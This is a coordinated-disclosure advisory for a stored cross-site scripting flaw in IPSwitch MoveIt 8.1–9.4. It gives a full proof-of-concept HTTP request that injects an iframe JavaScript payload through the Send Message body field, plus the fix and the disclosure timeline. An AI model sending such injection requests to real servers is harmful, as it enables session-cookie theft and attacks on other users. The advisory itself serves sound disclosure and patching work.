IPSwitch MoveIt 9.4 Cross Site Scripting

IPSwitch MoveIt versions 8.1 through 9.4 suffer from a persistent cross site scripting vulnerability.


MD5 | 723b0f6426716909db57c54c2b850fdf

# Exploit Title: IPSwitch MoveIt Stored Cross Site Scripting (XSS)
# Date: 1-31-2017
# Software Link: https://www.ipswitch.com/moveit
# Affected Version: 8.1-9.4 (only confirmed on 8.1 but other versions prior to 9.5 may also be vulnerable)
# Exploit Author: [email protected] - https://crowdshield.com (Early Warning Security)
# Contact: https://twitter.com/crowdshield
# Vendor Homepage: https://www.ipswitch.com
# Category: Webapps
# Attack Type: Remote
# Impact: Data/Cookie Theft


1. Description

IPSwitch MoveIt v8.1 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. Attackers can leverage this vulnerability to send malicious messages to other users in order to steal session cookies and launch client-side attacks.


2. Proof of Concept

The vulnerability lies in the Send Message -> Body Text Area input field.

POST /human.aspx?r=692492538 HTTP/1.1
Host: host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://host.com/human.aspx?r=510324925
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 598

czf=9c9e7b2a9c9e7b2a9c9e7b2a9c9e7b2a9c066e4aee81bf97f581826d8c093953d82d2b692be5490ece13e6b23f1ad09bda751db1444981eb029d2427175f9906&server=host.com&url=%2Fhuman.aspx&instid=2784&customwizlogoenabled=0&customwiznameup=&customwizzipnameup=%5Bdefault%5D&transaction=secmsgpost&csrftoken=1a9cc0f7aa7ee2d9e0059d6b01da48b69a14669d&curuser=kuxt36r50uhg0sXX&arg12=secmsgcompose&Arg02=&Arg03=452565093&Arg05=edit&Arg07=forward&Arg09=&Arg10=&opt06=&Opt08=&opt01=username&opt02=&opt03=&arg01=FW%3A+test&Opt12=1&arg04=<iframe/src=javascript:alert(1)>&attachment=&opt07=1&arg05_Send=Send


3. Solution:

Update to version 9.5


4. Disclosure Timeline

1/30/2017 - Disclosed details of vulnerability to IPSwitch.
1/31/2017 - IPSwitch confirmed the vulnerability and verified the fix as of version 9.5 and approved public disclosure of the vulnerability.

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